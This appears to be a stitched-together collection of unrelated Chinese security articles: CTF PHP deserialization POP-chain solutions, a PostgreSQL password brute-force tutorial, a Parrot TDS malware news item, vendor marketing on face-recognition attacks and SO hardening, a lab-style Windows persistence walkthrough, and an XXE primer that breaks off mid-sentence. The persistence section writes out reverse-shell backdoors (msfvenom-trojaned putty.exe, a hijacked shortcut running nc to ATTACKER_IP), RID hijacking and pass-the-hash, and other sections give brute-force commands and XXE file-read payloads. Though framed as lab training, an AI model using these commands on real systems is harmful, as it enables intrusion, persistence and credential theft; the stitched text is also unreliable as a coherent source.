前言 继续学习吧,希望我们能一起学习,在家好蔫, 本篇文章主要主要讲的是靶场的PHP反序列化的一些题 复习一下魔术方法 __construct() 当一个对象创建的时候被调用 _ _destruct() 当一个对象销毁的时候被调用 __toString() 当一个对象被当作字符串使用的时候被调用 __invoke 当尝试以调用函数的方式调用一个 对象时，会被调用 __sleep() 当对象在被序列化之前运行 __wakeup() 当在被反序列化之后调用 __get() 访问私有变量或不存在的变量均会触发 __set() 给私有变量或不存在的变量赋值时，会触发 __unset 对私有变量或不存在的变量调用unset时，会触发 WEB 256 与上一个题唯一不同的地方 <?php class ctfShowUser{ public $username='xxxxxx'; public $password='godyuu'; public $isVip=True; } $user = new ctfShowUser(); $u=serialize($user); print $u."\n"; $u1=unserialize($u); print_r ($u1); ?> Web257 没有对username和password进行判断 只要输入即可 期中突破点 我们知道我们只能修改属性而不能修改方法(增添调用方法） 我们的目的就是想尽设法从外部调用function getInfo()函数 因为在backDoor里并没有直接调用backDoor函数 从哪里调用？当然是从ctfShowUser中的construct构建一个->再在destruct里再调用 我认为有一个CTFshow的用户讲解的很好 那么开始构造pop链吧 <?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code='eval($_POST[1]);'; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); echo (urlencode(serialize($a))); ?> BUUOJ->EZpop 这个比ctfshow上难度 以下是我的分析 构造POP链 <?php class Modifier { protected $var="php://filter/convert.base64-encode/resource=flag.php"; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } $a=new Show(); $a->source=$a; $a->str=new Test(); $a->str->p=new Modifier(); var_dump($a); var_dump(urlencode(serialize($a))); ?>

第一种方式Hydra： Hydra通常是首选工具，它可以对50多种协议执行快速字典暴力攻击，包括telnet，postgres，http，https，smb服务和各种数据库等。现在需要选择一个字典库。与其他字典密码攻击一样，字典是关键。Kali下有很多类似的密码字典库。 运行如下命令： hydra –L/root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.120 postgres 参数： L：表示用户名字典库的路径（大写） -P：表示密码字典库的路径（大写） 一旦执行命令，将开始使用密码字典进行攻击，因此很快获取到正确的用户名和密码。正如所看到的那样，下面展示已经成功地将postgres 用户名作为postgres用户名和密码获取为postgres。 第二种方式xHydra： 这是通过5432端口通过密码字典攻击来破解postgres数据库系统的图形版本。要使用此方法：首先在你的kali系统中打开xHydra，并选择”single target”，然后填选目标主机。协议处选择pstgres协议，端口处选择5432。 现在转到“ Username”选项卡并选择“ Username list”，并在下列框中填写上包含用户名的字典文件的路径。然后选择“ Password list”，并在其下的框中填写上包含字典密码的文本文件的路径。 完成此操作后然后转到“开始”选项卡，单击左侧的“ start”按钮。现在，密码字典攻击的过程将开始。因此，将获得正确的用户名和密码。 第三种方式Medusa： Medusa旨在成为一个快速、大规模并发，模块化、登录的爆破神器。它支持许多协议如：AFP，CVS，POSTGRES，HTTP，IMAP，rlogin，SSH，Subversion和VNC等。 运行如下命令： Medusa -h192.168.1.120 -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -Mpostgres 参数： -U：表示用户名字典库的路径 -P：表示密码字典库的路径 正如所看到的那样，已经成功地将 用户名作为postgres以及密码获取为postgres。 第四种方式ncrack： Ncrack是一种高速网络身份验证破解工具。它旨在通过主动测试所有主机和网络设备以获取密码来帮助公司保护其网络受到的威胁。 运行以下命令： ncrack -v -U /root/Desktop/user.txt-P /root/Desktop/pass.txt 192.168.1.120:5432 参数： U：表示用户名列表的路径 -P：表示密码列表的路径 正如您所看到的那样，我们已经成功地将 用户名作为postgres和密码获取为postgres 。 第五种方式Patator： Patator是一款基于多功能的爆破工具，采用模块化设计，使用灵活。对于POSTGRES，HTTP，SMB等多个协议端口进行暴力攻击非常有用。 命令如下： patator pgsql_login host = 192.168.1.120 user = FILE0 0 = / root / Desktop / user.txt password = FILE1 1 = / root / Desktop / pass.txt 从下面给出的截图中，可以看到密码字典攻击的过程，因此，您将获得正确的用户名和密码。 第六种方式Metasploit： 此模块尝试使用USER_FILE，PASS_FILE和USERPASS_FILE三个参数选项指示的用户名和密码组合对PostgreSQL实例进行身份验证攻击。请注意，密码可以是纯文本或MD5格式的哈希。 打开Kali终端并输入命令： msfconsole 现在使用模块“use auxiliary/scanner/postgres/postgres_login” msf exploit (scanner/postgres/postgres_login)>set rhosts 192.168.1.120 (IP of Remote Host) msf exploit (scanner/postgres/postgres_login)>set user_file /root/Desktop/user.txt msf exploit (scanner/postgres/postgres_login)>set userpass_file /root/Desktop/pass.txt msf exploit (scanner/postgres/postgres_login)>set stop_on_success true msf exploit (scanner/postgres/postgres_login)> exploit 从下面截图中可以看到已成功获取POSTGRES用户名和密码。 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">

安全研究人员查看 Parrot 流量引导系统 (TDS) 使用的 10,000 多个脚本后，发现逐渐优化的演变过程使恶意代码对安全机制更加隐蔽。 Parrot TDS 于 2022 年 4 月被网络安全公司发现，自 2019 年以来一直活跃。主要针对易受攻击的 WordPress 和 Joomla 网站，使用 JavaScript 代码将用户重定向到恶意位置。 研究人员分析，Parrot 已经感染了至少 16,500 个网站，是一次大规模的恶意操作。 Parrot 背后的运营商将流量出售给威胁组织，威胁组织将其用于访问受感染网站的用户，以进行分析并将相关目标重定向到恶意目的地，例如网络钓鱼页面或传播恶意软件的位置。 不断演变的恶意软件 Palo Alto Networks 的 Unit 42 团队最近发布的一份报告显示，Parrot TDS 仍然非常活跃，并且 JavaScript 注入更难以检测和删除。 Unit 42 分析了 2019 年 8 月至 2023 年 10 月期间收集的 10,000 个 Parrot 登陆脚本。研究人员发现了四个不同的版本，显示了混淆技术使用的进展。 Parrot 的登陆脚本有助于用户分析，并强制受害者的浏览器从攻击者的服务器获取有效负载脚本，从而执行重定向。 Parrot 攻击链 据研究人员称，Parrot TDS 活动中使用的脚本是通过代码中的特定关键字来识别的，包括“ ndsj ”、“ ndsw ”和“ ndsx ”。 Unit 42 注意到，所检查样本中大多数感染已转移到最新版本的登陆脚本中，占总数的 75%，其中 18% 使用以前的版本，其余运行较旧的脚本。 所检查样本中的登陆脚本版本份额 与旧版本相比，第四版登陆脚本引入了以下增强功能： 复杂代码结构和编码机制的增强混淆； 不同的数组索引和处理会破坏模式识别和基于签名的检测； 字符串和数字处理的变化，包括它们的格式、编码和处理； 尽管增加了额外的混淆层和代码结构的变化，V4登陆脚本的核心功能仍然与之前的版本保持一致； 它的主要目的仍然是分析受害者的环境，并在满足条件时启动有效负载脚本的检索。 登陆脚本版本 3 关于负责执行用户重定向的有效负载脚本，Unit 42 发现了九个变体。除了一些人执行的轻微混淆和目标操作系统检查之外，这些大多是相同的。 在 70% 的观察到的案例中，威胁行为者使用有效负载脚本版本 2，该脚本不具有任何混淆功能。 有效负载脚本版本 2 版本 4-5 中添加了混淆层，版本 6 至 9 中变得更加复杂。但是，这些版本很少出现在受感染的站点中。 10,000 个站点样本中看到的有效负载脚本版本 总体而言，Parrot TDS 仍然是一种活跃且不断演变的威胁，并且正变得更加难以捉摸。 建议用户在其服务器上搜索流氓 php 文件，扫描 ndsj、ndsw 和 ndsx 关键字，使用防火墙阻止 Webshell 流量，并使用 URL 过滤工具阻止已知的恶意 URL 和 IP。

近日人脸识别防护问题已成焦点，嘉峪关网警、大连市银行协会发布信息，称市民A先生与不法分子视频通话期间手机被犯罪分子控制，未接收到验证码，通话后手机收到消息提示，银行定期存款已被销户，银行人脸识别系统未发挥效果，资金已被转出。经侦查后发现，犯罪分子事先获取了A先生的身份证影像信息，并通过技术手段合成了短视频，使用该视频成功应对了银行大额资金转账时的人脸识别验证。 目前人脸识别防护技术存在明确的安全隐患，人脸信息发生泄露的风险主要存在于收集、存储、使用、加工、传输，其中使用、加工、传输需要金融机构等厂商提高重视度，收集、存储环境也需消费者提高警惕心。消费者不应随意同陌生人的视频聊天、下载来源不明的App、随意参与App内的录制视频/声音活动，北京互联网法院综合审判三庭副庭长曾表示“一些营销短视频、音频的商家经常在未经当事人许可和同意的情况下进行换脸、换声操作，以此获利”，降低人脸信息的收集、存储环节的安全隐患。消费者应保护好银行卡号、密码、身份证等个人信息；人脸、指纹等个人生物信息，发现可疑行为及时报警。 个人生物信息一旦泄露便后患无穷，尤其是人脸信息，上述案例中的收集人脸信息、通过技术手段攻击人脸识别防护系统，攻破后进行盗取转移资金等违法行为的犯罪链已较为成熟。通过AI技术攻击人脸识别防护系统的手段可分为深度伪造攻击与对抗样本攻击。深度伪造攻击是将一个人的面部表情移植到另一个人照片的面部，从而让被移植人照片活化起来；对抗样本攻击是在人脸照片上添加难以察觉的微小扰动使人脸识别系统误判。本次案例中，不法分子极可能是利用视频通话采集受害者人脸信息并基于深度伪造攻击手法骗过银行的人脸识别防护系统，窃取用户存款，此类案件层出不穷。 不法分子的攻击目标早已不局限于金融系统，政务系统也是重点攻击目标之一，根据天津网信办报道，不法分子获取公民身份信息和人脸照片后，利用AI技术破解相关政务APP的“人脸识别”认证，在当事人毫不知情的情况下，几分钟就能利用他人信息注册公司。 针对人脸识别防护系统的攻击与防御，是一场双方都在不断升级的攻防对抗，目前针对人脸识别防护系统的攻击手段已经过多次进化。多数人脸识别算法厂商聚焦于人脸特征提取、人脸差异，对深度伪造攻击、对抗样本攻击及针对应用的攻击的防护能力极为有限，为此业内新增了三类检测功能，但均有一定局限性。 1、增强活体检测模块，以识别对抗眼镜及表情操纵攻击此种防御方式对于屏幕重放攻击有一定的防御效果，但是若采用摄像头绕过方式即可绕过，对于安全加密强度不够的APP，采用公开手机模拟器即可绕过摄像头，直接将准备好的伪造图像传输给后台人脸比对算法。 2、增强人脸特征比对算法，存在异常即拦截该方法本质上是提升了比对算法的阈值，在提升自身安全性的同时，也降低了对于用户的友好体验，往往要进行反复拍照、核验才能通过比对，并不能从根本上解决人脸伪造的攻击方式。 3、增加脸部异常结构的识别该方式，旨在防范对抗眼镜样本的攻击方式，但对抗样本的攻击方式千变万化，可以是眼镜形式外的任何形式，此方法并不能解决对抗样本本身带来的攻击危害。 此外攻击者还可以通过注入应用、破坏系统内核及利用接口防护不当与设计缺陷尝试绕过人脸识别防护系统的活体检测环节。 1、注入应用绕过人脸识别防护系统活体检测攻击者通过注入应用的方式来篡改程序，绕过活体检测，使用一张静态照片就可以通过人脸识别。还可以通过查看当前APP的数据结构，修改参数来篡改活体检测完成后的图片，从而达到活体检测由任意一个人完成都可以通过的效果，这样只需要拿着被攻击者的照片来通过静态人脸识别，然后其他人眨眼抬头来破解活体检测。 2、破坏系统内核绕过人脸识别防护系统活体检测通过修改Android系统源代码，在底层直接修改并返回相关函数的调用结果。劫持摄像头，指定视频存放位置，在活体检测后替换人脸识别图片、视频，绕过活体检测。 3、利用接口防护不当和各种设计缺陷部分APP在使用上传人脸图像时，没有对图像数据进行签名，导致图片可以被工具截获然后篡改，而有的则是在数据报文没有加入时间戳，可以通过重放数据报文的方式来实施破解。有些人脸识别的成功与否，是通过返回报文中的一个阈值来决定的，相当于考试中的“及格分数”，如果人脸匹配度超过该阈值就可以通过，不幸的是，部分APP没有对这个返回报文加签名，导致该报文可以被篡改，最终通过调低该阈值的方式破解了它的人脸识别防护系统。人脸识别技术正面临着日益严峻的新型攻击威胁和重大财产损失的风险，想提高安全性须采用成体系可应对上述各类攻击手段的人脸识别安全方案。为加强安全防护能力，爱加密推出了“查、打、防”三位一体的人工智能安全体系、爱加密人脸安全综合防护系统，从人工智能应用的生命周期进行检测，治疗和预防。 爱加密人脸安全综合防护系统可全面加固任意人脸识别系统。通过集成终端风险感知、业务端实时伪造检测、运营风险挖掘三大类功能，实现在人脸核身、在线视频等典型场景中有效抵御对抗样本攻击、深度伪造攻击等新型安全风险，大幅提升人脸识别系统的安全性。 爱加密将持续关注人脸识别防护安全，在此呼吁各大机构提高对人脸信息的重视度，加强对个人隐私信息的保护力度，提升人脸识别防护系统的安全性。爱加密通过十余年技术积累和丰富的行业服务经验研发，助力人脸识别防护系统的安全运营，未来将继续凭借自身技术优势、业务资质优势、产品方案优势等，守护互联世界。

众多开发者认为SO文件相对而言更加安全，并将许多核心算法、加密解密方法、协议等放在SO文件中。但是，黑客可以通过反编译SO库文件，窃取开发者花费大量人力物力财力的研发成果，进行创意窃取或二次打包，使得开发者和用户利益受损。 作为知名移动信息安全综合服务提供商，爱加密在SO加固方面拥有3大技术优势。 一、爱加密so VMP技术，对so文件的源码进行虚拟化保护，实现数据隐藏、防篡改、防Dump，增加逆向分析的难度。 二、爱加密so Linker技术，对so文件代码段、导出表和字符串等进行加密压缩，在函数运行时动态解密，防止so文件被静态分析，通过内存DUMP源码。 三、多重保护：多种so加固技术可以联合使用，增大了代码反汇编调试破解难度，提高so文件的安全性。爱加密可对Android及Linux 进行so加固，本次仅讲述Android SO加固方面的6大核心技术，即so加壳、so源码混淆、so源码虚拟化保护、so防调用、so Linker、so融合。 so加壳 利用自定义加密算法对C/C++源码编译出来的so文件进行加壳，将so文件的编码进行改变，使加壳后的so文件无法通过ida反编译工具查看导出符号，使so文件无法正确反编译和反汇编。加固后效果如图： so 源码混淆 爱加密通过对so文件的源码进行混淆，降低黑客反编译的可读性，增加反编译难度。可多种混淆方式联用，可根据自己的实际需求选择混淆强度，包含字符串加密、等效指令替换、基本块调度、基本块分裂、虚假控制流、控制流扁平化、控制流间接化，本次篇幅有限仅介绍前四种技术手段。 字符串加密：程序当中的字符串，往往会曝露一些关键的信息。如图中所示字符串，表明此部分为用户登录的代码。黑客分析之后，可攻击用户登录页面，获取用户账号密码等信息。 爱加密将对源代码进行语法分析以及逻辑分析，解析出代码中字符串的位置，采用随机加密、运行时动态解密的方式对字符串进行混淆以及加密，增大表态分析难度，使破解者无法使用它来快速定位程序核心代码的位置。 等效指令替换：对C/C++代码中的函数所对应的原始代码块指令进行等效转换，利用程序代码的多样性，增加破解者分析难度，有效的保护核心算法的原始逻辑。 本块调度与分裂：基本块指程序中一段按照顺序执行的语句序列，只有一个出口一个入口。控制流只能从基本块的第一条指令进入，最后一条指令离开。基本块调度是将C/C++代码中函数的所有基本块交由调度块进行分发，使其在反编译工具中无法逆向出真实的代码，有效保护源代码，增加破解者分析代码的难度。基本块分裂方面可将一个基本块随机分裂成多个基本块，使控制流更复杂。 so源码虚拟化保护 对SDK中so文件的源码进行虚拟化保护，实现数据隐藏、防篡改、防Dump，增加逆向分析的难度。so文件中经过虚拟化保护后的函数，其原有指令已被清空，而真正的代码已经被编译成了虚拟机字节码隐藏起来。 so防调用 so防调用可以支持绑定授权APP的包名或者签名文件信息，可以在运行过程中对包名或者签名信息进行动态的校验，确保是正确的授权应用。 so Linker 爱加密so Linker安全加固对整个so文件进行加密压缩，包括代码段、导出表和字符串等，运行时再解密解压缩到内存，从而有效的防止so数据的泄露。使用so Linker，隐藏so的基地址，有效的防止so被DUMP。使用函数运行时动态加解密技术（FRAEP），在运行前进行解密，运行结束后进行加密，从而保证了so即使被DUMP，也无法反汇编出源码（so函数指令不运行时，在内存中处于加密状态）。so Linker代码使用爱加密自有的so VMP技术保护，大大增强了反调试代码被跟踪的难度。 so Linker安全加固在技术方面拥有5大优势： 1.对so进行了整体加密压缩，对整个so进行了有效保护，包括代码段、符号表和字符串等。2.使用了函数运行时动态加解密技术（FRAEP），内存中so即使被DUMP，处于加密状态的函数也无法被反汇编。 3.用so Linker方案后，so的基地址被隐藏，无法通过maps文件查看，提高了被DUMP难度。 4.使用了高强度的反调试技术，增大了被DUMP和被调试的难度。 5.so Linker代码由爱加密VMP 技术保护，加大了代码反汇编调试破解难度,效果如下图： so融合 该技术对SO进行了整体加密压缩，相对于传统的加壳技术，有效的对整个SO进行了保护，包括代码段、符号表和字符串等。SO 融合代码由爱加密VMP保护，加大了代码反汇编调试破解难度。用SO 融合方案后，SO文件及SO的基地址也被隐藏，无法通过maps文件查看，且使用了更高强度的反调试技术，增强了被dump和被调试的难度。 爱加密移动应用安全加固平台为开发者提供全面的移动应用安全加固技术，不仅可进行SO文件加固，更包括Android应用加固、iOS应用加固、游戏应用加固、H5文件加固、微信小程序加固、SDK加固和源对源混淆加固技术，从根本上解决移动应用的安全缺陷和风险，使加固后的移动应用具备防逆向分析、防二次打包、防动态调试、防进程注入、防数据篡改等安全保护能力，本文介绍的仅为爱加密移动应用安全加固平台中Android SO加固技术。 爱加密作为国内知名的移动信息安全综合服务提供商，通过不断探索与实践，已覆盖政企、运营商、金融、医疗、教育、能源等多个行业的安全业务场景。并参与了中央网信办、工信部、公安部、市场监督管理总局等国家监管单位制定移动应用、移动支付相关的标准规范；未来将继续凭借自身技术优势、业务资质优势、产品方案优势等，守护互联世界。

Windows本地权限维持 篡改非特权账户 这里要提到两比较特殊的组 1.备份操作员组（Backup Operators） 2.远程连接组（Remote Management Users） 分配组成员身份 使非特权用户获得管理权限的直接方法是使其成为 Administrators 组的一部分。 C:\> net localgroup administrators thmuser0 /add 如果这看起来太可疑，则可以使用“备份操作员”组。此组中的用户将没有管理权限，但将允许读取/写入系统上的任何文件或注册表项，忽略任何配置的 DACL。 C:\> net localgroup "Backup Operators" thmuser1 /add 由于这是一个非特权帐户，因此除非我们将其添加到远程桌面用户 （RDP） 或远程管理用户 （WinRM） 组，否则它无法 RDP 或 WinRM 返回到计算机。 C:\> net localgroup "Remote Management Users" thmuser1 /add UAC 实现的功能之一 LocalAccountTokenFilterPolicy 在远程登录时剥夺任何本地帐户的管理权限(就是在每一次执行时询问窗口，在命令行无法直接开见所有需要屏蔽掉) 首先，让我们建立 WinRM 连接，并检查是否为用户启用了备份操作员组： evil-winrm -i 10.10.73.241 -u thmuser1 -p Password321 然后盗取注册表内的账户密码，使用 python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL 获取到账户和密码hash 执行 Pass-the-Hash 以使用管理员权限连接到受害者计算机： user@AttackBox$ evil-winrm -i 10.10.73.241 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3 特殊权限和安全描述符 在不修改任何组成员身份的情况下，可以实现与将用户添加到备份操作员组类似的结果。特殊组之所以特殊，是因为操作系统默认为其分配了特定权限。 对于“备份操作员”组，默认情况下，它分配了以下两个权限： SeBackupPrivilege：用户可以读取系统中的任何文件，忽略任何 DACL(每个软件自己的ACL)。 SeRestorePrivilege：用户可以在系统中写入任何文件，而忽略任何 DACL。 我们可以将此类权限分配给任何用户，而不受其组成员身份的影响。为此，我们可以使用命令。首先，我们将当前配置导出到一个临时文件：secedit secedit /export /cfg config.inf 我们打开文件并将用户添加到配置中有关 SeBackupPrivilege 和 SeRestorePrivilege 的行中： 最后，我们将 .inf 文件转换为 .sdb 文件，然后用于将配置加载回系统中： `secedit /import /cfg config.inf /db config.sdb secedit /configure /db config.sdb /cfg config.inf` 现在，您应该拥有与任何备份操作员具有同等权限的用户。用户仍然无法通过 WinRM 登录系统，因此让我们对此采取一些措施。我们不会将用户添加到远程管理用户组，而是更改与 WinRM 服务关联的安全描述符，以允许 thmuser2 进行连接。将安全描述符视为 ACL，但应用于其他系统设施。 若要打开 WinRM 安全描述符的配置窗口，可以在 Powershell 中使用以下命令（为此需要使用 GUI 会话）： Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI 这将打开一个窗口，您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完全权限： 请注意，为了让该用户完全使用给定的权限，您必须更改LocalAccountTokenFilterPolicy注册表项，但我们已经这样做了，以获得上一个标志。 这将打开一个窗口，您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完全权限： 剩下的和分配组成员身份一致操作盗取账户的hash密码 RID 劫持 创建用户时，将为其分配一个名为“相对 ID （RID）”的标识符。RID 只是一个数字标识符，表示整个系统中的用户。当用户登录时，LSASS 进程将从 SAM 注册表配置单元获取其 RID，并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值，则可以通过将相同的 RID 关联到两个帐户，使 Windows 将管理员访问令牌分配给非特权用户。 在任何 Windows 系统中，默认管理员帐户的 RID = 500，普通用户通常具有 RID >= 1000。 C:\> wmic useraccount get name,sid Name SID Administrator S-1-5-21-1966530601-3185510712-10604624-500 DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503 Guest S-1-5-21-1966530601-3185510712-10604624-501 thmuser1 S-1-5-21-1966530601-3185510712-10604624-1008 thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009 thmuser3 S-1-5-21-1966530601-3185510712-10604624-1010 SAM 仅限于 SYSTEM 帐户，因此即使是管理员也无法编辑它。要将 Regedit 作为 SYSTEM 运行，我们将使用 psexec，在您的机器中可用： C:\tools\pstools> PsExec64.exe -i -s regedit 从 Regedit，我们将转到机器中每个用户都有密钥的位置。由于我们要修改 thmuser3，因此我们需要搜索一个 RID 为十六进制 （1010 = 0x3F2） 的密钥。在相应的键下，将有一个名为 F 的值，该值将用户的有效 RID 保存在位置 0x30: 请注意，RID 是使用 little-endian 表示法存储的，因此其字节显示为相反。 现在，我们将这两个字节替换为十六进制 （500 = 0x01F4） 的管理员 RID，并在字节 （F401） 之间切换： 下次 thmuser3 登录时，LSASS 会将其与管理员相同的 RID 关联，并授予他们相同的权限。 后门文件 建立持久性的另一种方法是篡改我们知道用户经常与之交互的一些文件。通过对此类文件进行一些修改，我们可以植入后门，每当用户访问它们时，这些后门就会被执行。由于我们不想创建任何可能破坏我们的警报，因此我们更改的文件必须按预期继续为用户工作。 虽然有很多机会可以植入后门，但我们将检查最常用的后门。 可执行文件 如果您发现桌面周围有任何可执行文件，则用户可能会经常使用它。假设我们找到了一条通往 PuTTY 的捷径。如果我们检查快捷方式的属性，我们可以看到它（通常）指向 .从那时起，我们可以将可执行文件下载到攻击者的机器上，并对其进行修改以运行我们想要的任何有效负载。 您可以使用 轻松地在任何.exe文件中植入您喜欢的有效负载。二进制文件仍将照常工作，但通过在二进制文件中添加额外的线程来静默执行额外的有效负载。要创建后门putty.exe，我们可以使用以下命令： msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe 生成的puttyX.exe将在用户不注意的情况下执行reverse_tcp计量器有效载荷。虽然这种方法足以建立持久性，但让我们看看其他更偷偷摸摸的技术。 快捷方式文件 如果我们不想更改可执行文件，我们可以随时篡改快捷方式文件本身。我们可以将其更改为指向一个脚本，而不是直接指向预期的可执行文件，该脚本将运行后门，然后正常执行通常的程序。 对于此任务，让我们检查管理员桌面上 calc 的快捷方式。如果我们右键单击它并转到属性，我们将看到它指向的位置： 在劫持快捷方式的目标之前，让我们在或任何其他偷偷摸摸的位置创建一个简单的 Powershell 脚本。该脚本将执行反向 shell，然后从快捷方式属性的原始位置运行calc.exe： Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445" C:\Windows\System32\calc.exe 最后，我们将更改快捷方式以指向我们的脚本。请注意，这样做时可能会自动调整快捷方式的图标。请务必将图标指向原始可执行文件，以便不会向用户显示任何可见的更改。我们还希望在隐藏窗口上运行脚本，为此，我们将向 Powershell 添加该选项。快捷方式的最终目标是 powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 让我们启动一个 nc 侦听器，以在攻击者的机器上接收我们的反向 shell： user@AttackBox$ nc -lvp 4445 如果双击该快捷方式，则应获得与攻击者计算机的连接。同时，用户将获得一个符合他们期望的计算器。您可能会注意到命令提示符在屏幕上闪烁并立即消失。希望普通用户不会太介意这一点。

###XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成，它们分别是：文档类型定义（Document Type Definition，DTD），即XML的布局语言；可扩展的样式语言（Extensible Style Language，XSL），即XML的样式表语言；以及可扩展链接语言（Extensible Link Language，XLL）。 XML:可扩展标记语言，标准通用标记语言的子集，是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据，而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。 可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计 它被设计用来传输和存储数据，其焦点是数据的内容。 超文本标记语言被设计用来显示数据，其焦点是数据的外观 2.XML的作用 XML使用元素和属性来描述数 据。在数据传送过程中，XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件，不必使用传统的字符串解析或拆解过程。 相反，普通文件不对每个数据段做描述(除了在头文件中)，也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性，因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素 <?xml version="1.0" encoding="UTF-8"?> <!-- ⬆XML声明⬆ --> <!DOCTYPE 文件名 [ <!ENTITY实体名 "实体内容"> ]> <!-- ⬆文档类型定义(DTD)⬆ --> <元素名称 category="属性"> 文本或其他元素 </元素名称> <!-- ⬆文档元素⬆ --> 3.xml格式说明 XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。 DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。 （1）内部声明DTD <!DOCTYPE 根元素 [元素声明]> （2）引用外部DTD <!DOCTYPE 根元素 SYSTEM "文件名"> 或者 <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名"> DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。 （3）DTD的实体 l DTD的作用 DTD（文档类型定义）的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明，也可以外部引用。 外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此，我们需要在XML文档内部声明一个外部实体 DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。。我们可以在内部确定其值（内部子集）： 或从外部来源：（外部子集）： 注意到SYSTEM标识符没？该标识符意味着该实体将从外部来源获取内容，在本例中，该内容是“site.com”下的一个页面。 为了声明这些实体，我们需要在文档类型定义（DTD）中进行。DTD是一组标记声明，用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明，也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等，然后,在其他DoM结点中可以使用如:&test;引用该实体内容. 那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞. 如果要引用一个外部资源,可以借助各种协议 几个例子: file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php 我们来看一个DTD的例子，一个在DTD里面有一个SYSTEM标识符的实体： l 内部声明实体 DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。 一个内部实体声明 <!ENTITY 实体名称 "实体的值"> 例子 DTD: <!ENTITY writer "me"> XML: <author>&writer;</author> 注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。 l 引用外部实体 一个外部实体声明 <!ENTITY 实体名称 SYSTEM "URI/URL"> 或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI"> 例子 DTD: <!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd"> XML: <author>&writer;</author> 外部实体类型有 （4）CDATA CDATA 指的是不应由 XML 解析器进行解析的文本数据（Unparsed Character Data）。 在 XML 元素中，"<" （新元素的开始）和 "&" （字符实体的开始）是非法的。 某些文本，比如 JavaScript 代码，包含大量 "<" 或 "&" 字符。为了避免错误，可以将脚本代码定义为 CDATA。 CDATA 部分中的所有内容都会被解析器忽略。 CDATA 部分由 "<![CDATA[" 开始，由 "]]>" 结束 4.xml的实体 XML 中的实体分为以下五种：字符实体，命名实体，外部实体，参数实体，内部实体，普通实体和参数实体都分为内部实体和外部实体两种，外部实体定义需要加上 SYSTEM关键字，其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字，则为内部实体，表示实体指代内容为字符串。 （1）字符实体 指用十进制格式(&#aaa;)或十六进制格式(&#xaaa;)来指定任意 Unicode 字符。对 XML 解析器而言，字符实体与直接输入指定字符的效果完全相同。 （2）命名实体 也称为内部实体，在 DTD 或内部子集（即文档中 <!DOCTYPE> 语句的一部分）中声明，在文档中用作引用。在 XML 文档解析过程中，实体引用将由它的表示替代。 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]> <value>&xxe;</value> <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]> <value>&xxe;</value> 可以用做xxe+ssrf （3）外部实体 外部实体表示外部文件的内容，用 SYSTEM 关键词表示。 <!ENTITY test SYSTEM "1.xml"> 有些XML文档包含system标识符定义的“实体”，这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如，下面的XML文档样例就包含了XML ‘实体’。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE Anything [ <!ENTITY entityex SYSTEM 